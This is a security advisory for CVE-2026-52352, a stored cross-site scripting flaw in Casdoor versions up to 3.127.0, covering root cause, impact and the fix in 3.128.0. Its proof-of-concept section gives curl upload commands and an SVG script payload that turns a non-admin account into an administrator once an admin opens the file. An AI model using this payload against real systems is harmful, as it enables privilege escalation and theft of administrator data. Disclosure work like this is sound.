Casdoor: Stored XSS via Uploaded SVG Files

An authenticated user without admin rights uploads an SVG file; when an administrator opens its URL, the embedded script runs in the origin of the Casdoor server and promotes the attacker's account to administrator.

Advisory ID: TP-2026-036
Product: Casdoor (open-source identity and access management platform for OAuth 2.0, OIDC, SAML and CAS)
Vulnerability type: Stored cross-site scripting through uploaded SVG files (CWE-79)
CVE: CVE-2026-52352
CVSS 3.1: 8.7 (High) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Affected versions: <= 3.127.0
Fixed in: 3.128.0
Reported: 12 May 2026

Summary

Casdoor is an open-source identity and access management platform that self-hosted environments use as the central single sign-on for every connected application. Any authenticated user, regardless of role and organisation, can upload a file through POST /api/upload-resource; with a local storage provider configured, the file then sits under the public static path /files and is served with a Content-Type derived from its extension. The response carries no X-Content-Type-Options, no Content-Security-Policy and no Content-Disposition, so an uploaded .svg holding a <script> element executes as an active document in the origin of the Casdoor server when the URL is opened directly. The script runs with the session of whoever opens the link and drives the entire Casdoor API with that user's privileges. turingpoint verified the vulnerability live, reported it to the vendor and submitted the fix, which landed in version 3.128.0 as pull request #5668.

Root cause

POST /api/upload-resource (controllers/resource.go:222) accepts a file from any authenticated caller and stores it through the storage provider in the directory that main.go:98 publishes as a public static path with web.SetStaticPath("/files", "files"). When the client-supplied Content-Type is neither image nor video, the handler re-derives the type from the file extension (controllers/resource.go:262-265), so a .svg is served as image/svg+xml, a type browsers render as an active document that can run script. The static path is served by beego's serverStaticRouter() through http.ServeContent, and none of the filters registered in main.go:100-110 sets security headers on that response, which is why nosniff, CSP and Content-Disposition are absent entirely. The obvious sibling defense does not apply, because routers/content_type_filter.go only inspects the Content-Types of incoming requests, not those of responses. On the authorization side, the policy p, *, *, POST, /api/upload-resource, *, * (authz/authz.go:99) lets every subject reach the handler, so a user without admin rights from any organisation can plant the file.

Proof of Concept

# 1) Any authenticated non-admin uploads an SVG file
curl -b "$SESSION" -F "[email protected]" \
  "http://casdoor.example.com:8000/api/upload-resource?owner=acme&user=mallory&application=app-built-in&tag=custom&fullFilePath=payload.svg"

# 2) The file sits in the public static path, without protective headers
curl -i http://casdoor.example.com:8000/files/payload.svg
# HTTP/1.1 200 OK
# Content-Type: image/svg+xml
# no X-Content-Type-Options, no Content-Security-Policy, no Content-Disposition

# 3) payload.svg, executed in the Casdoor origin as soon as an admin opens the URL
# <svg xmlns="http://www.w3.org/2000/svg"><script>
#   fetch('/api/update-user?id=acme/mallory', {method: 'POST', credentials: 'include',
#     body: JSON.stringify({owner: 'acme', name: 'mallory', isAdmin: true})});
# </script></svg>

Because image/svg+xml is an active document, direct navigation runs the embedded <script> in the origin of the Casdoor server, and credentials: 'include' sends along the administrator's session cookie, which every admin endpoint accepts. Verified live: after the admin clicked the link, the non-admin account acme/mallory had isAdmin: true, and a second payload read the full admin object including e-mail address and passwordSalt through /api/get-account.

Impact

  • Script execution in the origin of the Casdoor server, which makes the session of every user who opens an uploaded file URL usable against the entire API.
  • Privilege escalation of an arbitrary user account to administrator through /api/update-user in the admin session.
  • Disclosure of the administrator account including e-mail address and passwordSalt through /api/get-account.
  • Compromise of the connected applications, because admin rights in Casdoor permit creating OAuth applications and issuing tokens.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.